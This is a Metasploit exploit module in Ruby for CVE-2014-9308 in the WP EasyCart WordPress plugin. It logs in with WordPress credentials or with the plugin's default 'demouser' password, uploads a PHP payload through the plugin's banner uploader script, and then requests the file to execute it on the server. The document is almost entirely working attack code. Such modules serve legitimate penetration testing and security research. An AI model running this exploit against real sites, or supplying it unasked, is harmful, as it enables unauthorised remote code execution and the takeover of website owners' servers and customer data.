WordPress WP EasyCart Unrestricted File Upload

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress WP EasyCart Unrestricted File Upload',
        'Description' => %q{
          WordPress Shopping Cart (WP EasyCart) Plugin for
          WordPress contains a flaw that allows a remote
          attacker to execute arbitrary PHP code. This
          flaw exists because the
          /inc/amfphp/administration/banneruploaderscript.php
          script does not properly verify or sanitize
          user-uploaded files. By uploading a .php file,
          the remote system will place the file in a
          user-accessible path. Making a direct request to
          the uploaded file will allow the attacker to
          execute the script with the privileges of the web
          server.

          In versions <= 3.0.8 authentication can be done by
          using the WordPress credentials of a user with any
          role. In later versions, a valid EasyCart admin
          password will be required that is in use by any
          admin user. A default installation of EasyCart will
          setup a user called "demouser" with a preset password
          of "demouser".
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Kacper Szurek', # Vulnerability disclosure
          'rastating' # Metasploit module
        ],
        'References' => [
          ['CVE', '2014-9308'],
          ['OSVDB', '116806'],
          ['WPVDB', '7745']
        ],
        'DisclosureDate' => '2015-01-08',
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['wp-easycart', {}]],
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),
        OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),
        OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.18)', 'demouser']),
        OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])
      ]
    )
  end

  def post_auth?
    true
  end

  def username
    datastore['USERNAME']
  end

  def password
    datastore['PASSWORD']
  end

  def ec_password
    datastore['EC_PASSWORD']
  end

  def ec_password_is_hash
    datastore['EC_PASSWORD_IS_HASH']
  end

  def use_wordpress_authentication
    username.to_s != '' && password.to_s != ''
  end

  def use_ec_authentication
    ec_password.to_s != ''
  end

  def req_id
    if ec_password_is_hash
      return ec_password
    else
      return Rex::Text.md5(ec_password)
    end
  end

  def generate_mime_message(payload, date_hash, name, include_req_id)
    data = Rex::MIME::Message.new
    data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
    data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id
    data
  end

  def setup
    if !use_wordpress_authentication && !use_ec_authentication
      fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
    end

    super
  end

  def exploit
    vprint_status("WordPress authentication attack is enabled") if use_wordpress_authentication
    vprint_status("EC authentication attack is enabled") if use_ec_authentication

    if use_wordpress_authentication && use_ec_authentication
      print_status("Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")
    end

    if use_wordpress_authentication
      print_status("Authenticating using #{username}:#{password}...")
      cookie = wordpress_login(username, password)

      if !cookie
        if use_ec_authentication
          print_warning("Failed to authenticate with WordPress, attempting upload with EC password next...")
        else
          fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress')
        end
      else
        print_good("Authenticated with WordPress")
        store_valid_credential(user: username, private: password, proof: cookie)
      end
    end

    print_status("Preparing payload...")
    payload_name = Rex::Text.rand_text_alpha(10)
    date_hash = Rex::Text.md5(Time.now.to_s)
    uploaded_filename = "#{payload_name}_#{date_hash}.php"
    plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
    uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
    payload_url = normalize_uri(plugin_url, 'products', 'banners', uploaded_filename)
    data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)

    print_status("Uploading payload to #{payload_url}")
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => uploader_url,
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => data.to_s,
      'cookie' => cookie
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("Server responded with status code #{res.code}") if res.code != 200

    print_status("Executing the payload...")
    register_files_for_cleanup(uploaded_filename)
    res = send_request_cgi(
      {
        'uri' => payload_url,
        'method' => 'GET'
      }, 5
    )

    if !res.nil? && res.code == 404
      print_error("Failed to upload the payload")
    else
      print_good("Executed payload")
    end
  end
end